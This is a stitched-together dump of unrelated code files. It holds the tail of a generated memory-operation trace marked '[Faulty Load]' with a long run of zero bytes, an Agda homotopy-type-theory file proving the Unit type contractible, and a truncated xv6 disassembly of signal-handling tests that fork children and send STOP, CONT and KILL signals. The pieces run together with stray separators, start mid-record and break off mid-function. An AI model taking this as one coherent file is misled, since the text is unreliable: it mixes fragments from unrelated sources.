{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
lib/types/Unit.agda | sattlerc/HoTT-Agda | 0 | 2902 | {-# OPTIONS --without-K #-}
open import lib.Basics
module lib.types.Unit where
⊤ = Unit
tt = unit
abstract
-- Unit is contractible
Unit-is-contr : is-contr Unit
Unit-is-contr = (unit , λ y → idp)
Unit-has-level : {n : ℕ₋₂} → has-level n Unit
Unit-has-level = contr-has-level Unit-is-contr
-- [Unit-has-level#instance] produces unsolved metas
Unit-has-level-S#instance : {n : ℕ₋₂} → has-level (S n) Unit
Unit-has-level-S#instance = contr-has-level Unit-is-contr
Unit-is-prop : is-prop Unit
Unit-is-prop = Unit-has-level
Unit-is-set : is-set Unit
Unit-is-set = Unit-has-level
Unit-level = Unit-is-contr
⊤-is-contr = Unit-is-contr
⊤-level = Unit-is-contr
⊤-has-level = Unit-has-level
⊤-is-prop = Unit-is-prop
⊤-is-set = Unit-is-set
|
ourtests.asm | chendoy/xv6-signals | 0 | 98308 | <filename>ourtests.asm
_ourtests: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return;
}
int main()
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 0c sub $0xc,%esp
// printf(0,"--------- SIGPROCMASK TEST ---------\n");
// sigprocmask_test();
printf(0,"--------- STOP_CONT_KILL_ABC TEST ---------\n");
11: 68 f0 1b 00 00 push $0x1bf0
16: 6a 00 push $0x0
18: e8 e3 12 00 00 call 1300 <printf>
cont_stop_kill_abc_test();
1d: e8 ee 00 00 00 call 110 <cont_stop_kill_abc_test>
// printf(0,"\n");
// printf(0,"--------- SIGNAL TESTS 3 --------- \n");
// SignalTests3();
// printf(0,"\n");
printf(0,"Done TESTS\n");
22: 58 pop %eax
23: 5a pop %edx
24: 68 7b 1e 00 00 push $0x1e7b
29: 6a 00 push $0x0
2b: e8 d0 12 00 00 call 1300 <printf>
exit();
30: e8 6d 11 00 00 call 11a2 <exit>
35: 66 90 xchg %ax,%ax
37: 66 90 xchg %ax,%ax
39: 66 90 xchg %ax,%ax
3b: 66 90 xchg %ax,%ax
3d: 66 90 xchg %ax,%ax
3f: 90 nop
00000040 <custom_handler>:
{
40: 55 push %ebp
41: 89 e5 mov %esp,%ebp
43: 83 ec 10 sub $0x10,%esp
printf(1, "child: CUSTOM HANDLER WAS FIRED!!\n");
46: 68 58 16 00 00 push $0x1658
4b: 6a 01 push $0x1
4d: e8 ae 12 00 00 call 1300 <printf>
return;
52: 83 c4 10 add $0x10,%esp
}
55: c9 leave
56: c3 ret
57: 89 f6 mov %esi,%esi
59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000060 <user_handler_signal>:
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 83 ec 08 sub $0x8,%esp
printf(0,"pid : %d is Using User Handler Signal - %d!!!!WOrks!!!\n", getpid(),signum);
66: e8 b7 11 00 00 call 1222 <getpid>
6b: ff 75 08 pushl 0x8(%ebp)
6e: 50 push %eax
6f: 68 7c 16 00 00 push $0x167c
74: 6a 00 push $0x0
76: e8 85 12 00 00 call 1300 <printf>
return;
7b: 83 c4 10 add $0x10,%esp
}
7e: c9 leave
7f: c3 ret
00000080 <sigprocmask_test>:
{
80: 55 push %ebp
81: 89 e5 mov %esp,%ebp
83: 56 push %esi
84: 53 push %ebx
for(i = 1; i < ITER_SIGPROCMASK_TEST; i++) {
85: bb 01 00 00 00 mov $0x1,%ebx
{
8a: 83 ec 10 sub $0x10,%esp
8d: 8d 76 00 lea 0x0(%esi),%esi
omask = sigprocmask(mask);
90: 83 ec 0c sub $0xc,%esp
93: 53 push %ebx
94: e8 a9 11 00 00 call 1242 <sigprocmask>
printf(1, "should be %d = %d\n", i-1 ,omask);
99: 50 push %eax
9a: 8d 43 ff lea -0x1(%ebx),%eax
for(i = 1; i < ITER_SIGPROCMASK_TEST; i++) {
9d: 83 c3 01 add $0x1,%ebx
printf(1, "should be %d = %d\n", i-1 ,omask);
a0: 50 push %eax
a1: 68 20 1c 00 00 push $0x1c20
a6: 6a 01 push $0x1
a8: e8 53 12 00 00 call 1300 <printf>
for(i = 1; i < ITER_SIGPROCMASK_TEST; i++) {
ad: 83 c4 20 add $0x20,%esp
b0: 83 fb 0a cmp $0xa,%ebx
b3: 75 db jne 90 <sigprocmask_test+0x10>
sigaction(12, &newact, &oldact);
b5: 8d 5d f0 lea -0x10(%ebp),%ebx
b8: 8d 75 e8 lea -0x18(%ebp),%esi
bb: 83 ec 04 sub $0x4,%esp
newact.sa_handler = SIG_IGN;
be: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp)
newact.sigmask = 12;
c5: c7 45 ec 0c 00 00 00 movl $0xc,-0x14(%ebp)
sigaction(12, &newact, &oldact);
cc: 53 push %ebx
cd: 56 push %esi
ce: 6a 0c push $0xc
d0: e8 75 11 00 00 call 124a <sigaction>
printf(1, "should be 0,0 = %d,%d\n", (uint)oldact.sa_handler, oldact.sigmask);
d5: ff 75 f4 pushl -0xc(%ebp)
d8: ff 75 f0 pushl -0x10(%ebp)
db: 68 33 1c 00 00 push $0x1c33
e0: 6a 01 push $0x1
e2: e8 19 12 00 00 call 1300 <printf>
sigaction(12, &oldact, &newact);
e7: 83 c4 1c add $0x1c,%esp
ea: 56 push %esi
eb: 53 push %ebx
ec: 6a 0c push $0xc
ee: e8 57 11 00 00 call 124a <sigaction>
printf(1, "should be 1,12 = %d,%d\n", (uint)newact.sa_handler, newact.sigmask);
f3: ff 75 ec pushl -0x14(%ebp)
f6: ff 75 e8 pushl -0x18(%ebp)
f9: 68 4a 1c 00 00 push $0x1c4a
fe: 6a 01 push $0x1
100: e8 fb 11 00 00 call 1300 <printf>
}
105: 83 c4 20 add $0x20,%esp
108: 8d 65 f8 lea -0x8(%ebp),%esp
10b: 5b pop %ebx
10c: 5e pop %esi
10d: 5d pop %ebp
10e: c3 ret
10f: 90 nop
00000110 <cont_stop_kill_abc_test>:
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 56 push %esi
115: 53 push %ebx
116: 83 ec 1c sub $0x1c,%esp
int sigs[] = {SIGSTOP, SIGCONT};
119: c7 45 e0 11 00 00 00 movl $0x11,-0x20(%ebp)
120: c7 45 e4 13 00 00 00 movl $0x13,-0x1c(%ebp)
if((pid = fork()) == 0) {
127: e8 6e 10 00 00 call 119a <fork>
12c: 85 c0 test %eax,%eax
12e: 74 70 je 1a0 <cont_stop_kill_abc_test+0x90>
130: 89 c6 mov %eax,%esi
132: bf 11 00 00 00 mov $0x11,%edi
for (int i = 0; i < 20; i++)
137: 31 db xor %ebx,%ebx
139: eb 41 jmp 17c <cont_stop_kill_abc_test+0x6c>
printf(2, "\n%d: SENT: CONT\n", i);
13b: 83 ec 04 sub $0x4,%esp
13e: 53 push %ebx
13f: 68 96 1c 00 00 push $0x1c96
144: 6a 02 push $0x2
146: e8 b5 11 00 00 call 1300 <printf>
14b: 83 c4 10 add $0x10,%esp
kill(pid, sigs[i%2]);
14e: 83 ec 08 sub $0x8,%esp
for (int i = 0; i < 20; i++)
151: 83 c3 01 add $0x1,%ebx
kill(pid, sigs[i%2]);
154: 57 push %edi
155: 56 push %esi
156: e8 77 10 00 00 call 11d2 <kill>
sleep(30);
15b: c7 04 24 1e 00 00 00 movl $0x1e,(%esp)
162: e8 cb 10 00 00 call 1232 <sleep>
for (int i = 0; i < 20; i++)
167: 83 c4 10 add $0x10,%esp
16a: 83 fb 14 cmp $0x14,%ebx
16d: 0f 84 d7 02 00 00 je 44a <cont_stop_kill_abc_test+0x33a>
173: 89 d8 mov %ebx,%eax
175: 83 e0 01 and $0x1,%eax
178: 8b 7c 85 e0 mov -0x20(%ebp,%eax,4),%edi
if (i % 2)
17c: f6 c3 01 test $0x1,%bl
17f: 75 ba jne 13b <cont_stop_kill_abc_test+0x2b>
printf(2, "\n%d: SENT: STOP\n", i);
181: 83 ec 04 sub $0x4,%esp
184: 53 push %ebx
185: 68 a7 1c 00 00 push $0x1ca7
18a: 6a 02 push $0x2
18c: e8 6f 11 00 00 call 1300 <printf>
191: 83 c4 10 add $0x10,%esp
194: eb b8 jmp 14e <cont_stop_kill_abc_test+0x3e>
196: 8d 76 00 lea 0x0(%esi),%esi
199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
sleep(5);printf(1, "a");sleep(5);printf(1, "b");sleep(5);printf(1, "c");sleep(5);printf(1, "d");
1a0: 83 ec 0c sub $0xc,%esp
1a3: 6a 05 push $0x5
1a5: e8 88 10 00 00 call 1232 <sleep>
1aa: 59 pop %ecx
1ab: 5b pop %ebx
1ac: 68 62 1c 00 00 push $0x1c62
1b1: 6a 01 push $0x1
1b3: e8 48 11 00 00 call 1300 <printf>
1b8: c7 04 24 05 00 00 00 movl $0x5,(%esp)
1bf: e8 6e 10 00 00 call 1232 <sleep>
1c4: 5e pop %esi
1c5: 5f pop %edi
1c6: 68 64 1c 00 00 push $0x1c64
1cb: 6a 01 push $0x1
1cd: e8 2e 11 00 00 call 1300 <printf>
1d2: c7 04 24 05 00 00 00 movl $0x5,(%esp)
1d9: e8 54 10 00 00 call 1232 <sleep>
1de: 58 pop %eax
1df: 5a pop %edx
1e0: 68 66 1c 00 00 push $0x1c66
1e5: 6a 01 push $0x1
1e7: e8 14 11 00 00 call 1300 <printf>
1ec: c7 04 24 05 00 00 00 movl $0x5,(%esp)
1f3: e8 3a 10 00 00 call 1232 <sleep>
1f8: 59 pop %ecx
1f9: 5b pop %ebx
1fa: 68 68 1c 00 00 push $0x1c68
1ff: 6a 01 push $0x1
201: e8 fa 10 00 00 call 1300 <printf>
sleep(5);printf(1, "e");sleep(5);printf(1, "f");sleep(5);printf(1, "g");sleep(5);printf(1, "h");
206: c7 04 24 05 00 00 00 movl $0x5,(%esp)
20d: e8 20 10 00 00 call 1232 <sleep>
212: 5e pop %esi
213: 5f pop %edi
214: 68 6a 1c 00 00 push $0x1c6a
219: 6a 01 push $0x1
21b: e8 e0 10 00 00 call 1300 <printf>
220: c7 04 24 05 00 00 00 movl $0x5,(%esp)
227: e8 06 10 00 00 call 1232 <sleep>
22c: 58 pop %eax
22d: 5a pop %edx
22e: 68 6c 1c 00 00 push $0x1c6c
233: 6a 01 push $0x1
235: e8 c6 10 00 00 call 1300 <printf>
23a: c7 04 24 05 00 00 00 movl $0x5,(%esp)
241: e8 ec 0f 00 00 call 1232 <sleep>
246: 59 pop %ecx
247: 5b pop %ebx
248: 68 6e 1c 00 00 push $0x1c6e
24d: 6a 01 push $0x1
24f: e8 ac 10 00 00 call 1300 <printf>
254: c7 04 24 05 00 00 00 movl $0x5,(%esp)
25b: e8 d2 0f 00 00 call 1232 <sleep>
260: 5e pop %esi
261: 5f pop %edi
262: 68 70 1c 00 00 push $0x1c70
267: 6a 01 push $0x1
269: e8 92 10 00 00 call 1300 <printf>
sleep(5);printf(1, "i");sleep(5);printf(1, "j");sleep(5);printf(1, "k");sleep(5);printf(1, "l");
26e: c7 04 24 05 00 00 00 movl $0x5,(%esp)
275: e8 b8 0f 00 00 call 1232 <sleep>
27a: 58 pop %eax
27b: 5a pop %edx
27c: 68 72 1c 00 00 push $0x1c72
281: 6a 01 push $0x1
283: e8 78 10 00 00 call 1300 <printf>
288: c7 04 24 05 00 00 00 movl $0x5,(%esp)
28f: e8 9e 0f 00 00 call 1232 <sleep>
294: 59 pop %ecx
295: 5b pop %ebx
296: 68 74 1c 00 00 push $0x1c74
29b: 6a 01 push $0x1
29d: e8 5e 10 00 00 call 1300 <printf>
2a2: c7 04 24 05 00 00 00 movl $0x5,(%esp)
2a9: e8 84 0f 00 00 call 1232 <sleep>
2ae: 5e pop %esi
2af: 5f pop %edi
2b0: 68 76 1c 00 00 push $0x1c76
2b5: 6a 01 push $0x1
2b7: e8 44 10 00 00 call 1300 <printf>
2bc: c7 04 24 05 00 00 00 movl $0x5,(%esp)
2c3: e8 6a 0f 00 00 call 1232 <sleep>
2c8: 58 pop %eax
2c9: 5a pop %edx
2ca: 68 78 1c 00 00 push $0x1c78
2cf: 6a 01 push $0x1
2d1: e8 2a 10 00 00 call 1300 <printf>
sleep(5);printf(1, "m");sleep(5);printf(1, "n");sleep(5);printf(1, "o");sleep(5);printf(1, "p");
2d6: c7 04 24 05 00 00 00 movl $0x5,(%esp)
2dd: e8 50 0f 00 00 call 1232 <sleep>
2e2: 59 pop %ecx
2e3: 5b pop %ebx
2e4: 68 7a 1c 00 00 push $0x1c7a
2e9: 6a 01 push $0x1
2eb: e8 10 10 00 00 call 1300 <printf>
2f0: c7 04 24 05 00 00 00 movl $0x5,(%esp)
2f7: e8 36 0f 00 00 call 1232 <sleep>
2fc: 5e pop %esi
2fd: 5f pop %edi
2fe: 68 7c 1c 00 00 push $0x1c7c
303: 6a 01 push $0x1
305: e8 f6 0f 00 00 call 1300 <printf>
30a: c7 04 24 05 00 00 00 movl $0x5,(%esp)
311: e8 1c 0f 00 00 call 1232 <sleep>
316: 58 pop %eax
317: 5a pop %edx
318: 68 7e 1c 00 00 push $0x1c7e
31d: 6a 01 push $0x1
31f: e8 dc 0f 00 00 call 1300 <printf>
324: c7 04 24 05 00 00 00 movl $0x5,(%esp)
32b: e8 02 0f 00 00 call 1232 <sleep>
330: 59 pop %ecx
331: 5b pop %ebx
332: 68 80 1c 00 00 push $0x1c80
337: 6a 01 push $0x1
339: e8 c2 0f 00 00 call 1300 <printf>
sleep(5);printf(1, "q");sleep(5);printf(1, "r");sleep(5);printf(1, "s");sleep(5);printf(1, "t");
33e: c7 04 24 05 00 00 00 movl $0x5,(%esp)
345: e8 e8 0e 00 00 call 1232 <sleep>
34a: 5e pop %esi
34b: 5f pop %edi
34c: 68 82 1c 00 00 push $0x1c82
351: 6a 01 push $0x1
353: e8 a8 0f 00 00 call 1300 <printf>
358: c7 04 24 05 00 00 00 movl $0x5,(%esp)
35f: e8 ce 0e 00 00 call 1232 <sleep>
364: 58 pop %eax
365: 5a pop %edx
366: 68 84 1c 00 00 push $0x1c84
36b: 6a 01 push $0x1
36d: e8 8e 0f 00 00 call 1300 <printf>
372: c7 04 24 05 00 00 00 movl $0x5,(%esp)
379: e8 b4 0e 00 00 call 1232 <sleep>
37e: 59 pop %ecx
37f: 5b pop %ebx
380: 68 86 1c 00 00 push $0x1c86
385: 6a 01 push $0x1
387: e8 74 0f 00 00 call 1300 <printf>
38c: c7 04 24 05 00 00 00 movl $0x5,(%esp)
393: e8 9a 0e 00 00 call 1232 <sleep>
398: 5e pop %esi
399: 5f pop %edi
39a: 68 88 1c 00 00 push $0x1c88
39f: 6a 01 push $0x1
3a1: e8 5a 0f 00 00 call 1300 <printf>
sleep(5);printf(1, "u");sleep(5);printf(1, "v");sleep(5);printf(1, "w");sleep(5);printf(1, "x");
3a6: c7 04 24 05 00 00 00 movl $0x5,(%esp)
3ad: e8 80 0e 00 00 call 1232 <sleep>
3b2: 58 pop %eax
3b3: 5a pop %edx
3b4: 68 8a 1c 00 00 push $0x1c8a
3b9: 6a 01 push $0x1
3bb: e8 40 0f 00 00 call 1300 <printf>
3c0: c7 04 24 05 00 00 00 movl $0x5,(%esp)
3c7: e8 66 0e 00 00 call 1232 <sleep>
3cc: 59 pop %ecx
3cd: 5b pop %ebx
3ce: 68 8c 1c 00 00 push $0x1c8c
3d3: 6a 01 push $0x1
3d5: e8 26 0f 00 00 call 1300 <printf>
3da: c7 04 24 05 00 00 00 movl $0x5,(%esp)
3e1: e8 4c 0e 00 00 call 1232 <sleep>
3e6: 5e pop %esi
3e7: 5f pop %edi
3e8: 68 8e 1c 00 00 push $0x1c8e
3ed: 6a 01 push $0x1
3ef: e8 0c 0f 00 00 call 1300 <printf>
3f4: c7 04 24 05 00 00 00 movl $0x5,(%esp)
3fb: e8 32 0e 00 00 call 1232 <sleep>
400: 58 pop %eax
401: 5a pop %edx
402: 68 90 1c 00 00 push $0x1c90
407: 6a 01 push $0x1
409: e8 f2 0e 00 00 call 1300 <printf>
sleep(5);printf(1, "y");sleep(5);printf(1, "z");
40e: c7 04 24 05 00 00 00 movl $0x5,(%esp)
415: e8 18 0e 00 00 call 1232 <sleep>
41a: 59 pop %ecx
41b: 5b pop %ebx
41c: 68 92 1c 00 00 push $0x1c92
421: 6a 01 push $0x1
423: e8 d8 0e 00 00 call 1300 <printf>
428: c7 04 24 05 00 00 00 movl $0x5,(%esp)
42f: e8 fe 0d 00 00 call 1232 <sleep>
434: 5e pop %esi
435: 5f pop %edi
436: 68 94 1c 00 00 push $0x1c94
43b: 6a 01 push $0x1
43d: e8 be 0e 00 00 call 1300 <printf>
442: 83 c4 10 add $0x10,%esp
445: e9 56 fd ff ff jmp 1a0 <cont_stop_kill_abc_test+0x90>
printf(1, "\nSENT: KILL!\n");
44a: 83 ec 08 sub $0x8,%esp
44d: 68 b8 1c 00 00 push $0x1cb8
452: 6a 01 push $0x1
454: e8 a7 0e 00 00 call 1300 <printf>
kill(pid, SIGKILL);
459: 58 pop %eax
45a: 5a pop %edx
45b: 6a 09 push $0x9
45d: 56 push %esi
45e: e8 6f 0d 00 00 call 11d2 <kill>
wait();
463: 83 c4 10 add $0x10,%esp
}
466: 8d 65 f4 lea -0xc(%ebp),%esp
469: 5b pop %ebx
46a: 5e pop %esi
46b: 5f pop %edi
46c: 5d pop %ebp
wait();
46d: e9 38 0d 00 00 jmp 11aa <wait>
472: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000480 <user_handler_test>:
{
480: 55 push %ebp
481: 89 e5 mov %esp,%ebp
483: 53 push %ebx
484: 83 ec 14 sub $0x14,%esp
act.sa_handler = &custom_handler;
487: c7 45 f0 40 00 00 00 movl $0x40,-0x10(%ebp)
act.sigmask = mask;
48e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if((pid = fork()) == 0)
495: e8 00 0d 00 00 call 119a <fork>
49a: 85 c0 test %eax,%eax
49c: 75 3a jne 4d8 <user_handler_test+0x58>
sigaction(SIGTEST, &act, null); // register custom handler
49e: 8d 45 f0 lea -0x10(%ebp),%eax
4a1: 83 ec 04 sub $0x4,%esp
4a4: 6a 00 push $0x0
4a6: 50 push %eax
4a7: 6a 14 push $0x14
4a9: e8 9c 0d 00 00 call 124a <sigaction>
4ae: 83 c4 10 add $0x10,%esp
4b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "child: waiting...\n");
4b8: 83 ec 08 sub $0x8,%esp
4bb: 68 c6 1c 00 00 push $0x1cc6
4c0: 6a 01 push $0x1
4c2: e8 39 0e 00 00 call 1300 <printf>
sleep(30);
4c7: c7 04 24 1e 00 00 00 movl $0x1e,(%esp)
4ce: e8 5f 0d 00 00 call 1232 <sleep>
4d3: 83 c4 10 add $0x10,%esp
4d6: eb e0 jmp 4b8 <user_handler_test+0x38>
sleep(300); // let child print some lines
4d8: 83 ec 0c sub $0xc,%esp
4db: 89 c3 mov %eax,%ebx
4dd: 68 2c 01 00 00 push $0x12c
4e2: e8 4b 0d 00 00 call 1232 <sleep>
printf(1, "parent: kill(child, SIGTEST)\n");
4e7: 58 pop %eax
4e8: 5a pop %edx
4e9: 68 d9 1c 00 00 push $0x1cd9
4ee: 6a 01 push $0x1
4f0: e8 0b 0e 00 00 call 1300 <printf>
sleep(5);
4f5: c7 04 24 05 00 00 00 movl $0x5,(%esp)
4fc: e8 31 0d 00 00 call 1232 <sleep>
kill(pid, SIGTEST);
501: 59 pop %ecx
502: 58 pop %eax
503: 6a 14 push $0x14
505: 53 push %ebx
506: e8 c7 0c 00 00 call 11d2 <kill>
sleep(50);
50b: c7 04 24 32 00 00 00 movl $0x32,(%esp)
512: e8 1b 0d 00 00 call 1232 <sleep>
printf(1, "parent: kill(child, SIGKILL)\n");
517: 58 pop %eax
518: 5a pop %edx
519: 68 f7 1c 00 00 push $0x1cf7
51e: 6a 01 push $0x1
520: e8 db 0d 00 00 call 1300 <printf>
kill(pid, SIGKILL);
525: 59 pop %ecx
526: 58 pop %eax
527: 6a 09 push $0x9
529: 53 push %ebx
52a: e8 a3 0c 00 00 call 11d2 <kill>
wait();
52f: e8 76 0c 00 00 call 11aa <wait>
return;
534: 83 c4 10 add $0x10,%esp
}
537: 8b 5d fc mov -0x4(%ebp),%ebx
53a: c9 leave
53b: c3 ret
53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000540 <simple_sigaction_test>:
{
540: 55 push %ebp
541: 89 e5 mov %esp,%ebp
543: 57 push %edi
544: 56 push %esi
545: 53 push %ebx
546: 83 ec 18 sub $0x18,%esp
printf(0,"mask: %d\n",sigprocmask(0));
549: 6a 00 push $0x0
54b: e8 f2 0c 00 00 call 1242 <sigprocmask>
550: 83 c4 0c add $0xc,%esp
553: 50 push %eax
554: 68 15 1d 00 00 push $0x1d15
559: 6a 00 push $0x0
55b: e8 a0 0d 00 00 call 1300 <printf>
printf(0,"mask: %d\n",sigprocmask(100));
560: c7 04 24 64 00 00 00 movl $0x64,(%esp)
567: e8 d6 0c 00 00 call 1242 <sigprocmask>
56c: 83 c4 0c add $0xc,%esp
56f: 50 push %eax
570: 68 15 1d 00 00 push $0x1d15
575: 6a 00 push $0x0
577: e8 84 0d 00 00 call 1300 <printf>
printf(0,"mask: %d\n",sigprocmask(0));
57c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
583: e8 ba 0c 00 00 call 1242 <sigprocmask>
588: 83 c4 0c add $0xc,%esp
58b: 50 push %eax
58c: 68 15 1d 00 00 push $0x1d15
591: 6a 00 push $0x0
593: e8 68 0d 00 00 call 1300 <printf>
printf(0,"Start SigactionTetss\n");
598: 58 pop %eax
599: 5a pop %edx
59a: 68 1f 1d 00 00 push $0x1d1f
59f: 6a 00 push $0x0
5a1: e8 5a 0d 00 00 call 1300 <printf>
struct sigaction *FIrstSigAct = malloc(sizeof(struct sigaction));
5a6: c7 04 24 08 00 00 00 movl $0x8,(%esp)
5ad: e8 ae 0f 00 00 call 1560 <malloc>
FIrstSigAct->sa_handler = (void (*)())14;
5b2: c7 00 0e 00 00 00 movl $0xe,(%eax)
FIrstSigAct->sigmask=7;
5b8: c7 40 04 07 00 00 00 movl $0x7,0x4(%eax)
struct sigaction *FIrstSigAct = malloc(sizeof(struct sigaction));
5bf: 89 c6 mov %eax,%esi
printf(0,"Create SigAction1 with handler(int 14) and mask (int 7)\n");
5c1: 59 pop %ecx
5c2: 5b pop %ebx
5c3: 68 b4 16 00 00 push $0x16b4
5c8: 6a 00 push $0x0
5ca: e8 31 0d 00 00 call 1300 <printf>
struct sigaction *SecondSigAct = malloc(sizeof(struct sigaction));
5cf: c7 04 24 08 00 00 00 movl $0x8,(%esp)
5d6: e8 85 0f 00 00 call 1560 <malloc>
SecondSigAct->sa_handler = (void (*)())22;
5db: c7 00 16 00 00 00 movl $0x16,(%eax)
SecondSigAct->sigmask=8;
5e1: c7 40 04 08 00 00 00 movl $0x8,0x4(%eax)
struct sigaction *SecondSigAct = malloc(sizeof(struct sigaction));
5e8: 89 c7 mov %eax,%edi
printf(0,"Create SigAction2 with handler(int 22) and mask (int 8)\n");
5ea: 58 pop %eax
5eb: 5a pop %edx
5ec: 68 f0 16 00 00 push $0x16f0
5f1: 6a 00 push $0x0
5f3: e8 08 0d 00 00 call 1300 <printf>
printf(0,"Check SigAct1 handler number: %d\n",FIrstSigAct->sa_handler);
5f8: 83 c4 0c add $0xc,%esp
5fb: ff 36 pushl (%esi)
5fd: 68 2c 17 00 00 push $0x172c
602: 6a 00 push $0x0
604: e8 f7 0c 00 00 call 1300 <printf>
printf(0,"Performing First sigaction assign to signum 4 SigAction1\n");
609: 59 pop %ecx
60a: 5b pop %ebx
60b: 68 50 17 00 00 push $0x1750
610: 6a 00 push $0x0
612: e8 e9 0c 00 00 call 1300 <printf>
sigaction(4,FIrstSigAct,null);
617: 83 c4 0c add $0xc,%esp
61a: 6a 00 push $0x0
61c: 56 push %esi
61d: 6a 04 push $0x4
61f: e8 26 0c 00 00 call 124a <sigaction>
struct sigaction *ThirdSigAct = malloc(sizeof(struct sigaction));
624: c7 04 24 08 00 00 00 movl $0x8,(%esp)
62b: e8 30 0f 00 00 call 1560 <malloc>
630: 89 c3 mov %eax,%ebx
printf(0,"Creating SigAction3 to hold the old action hander\n");
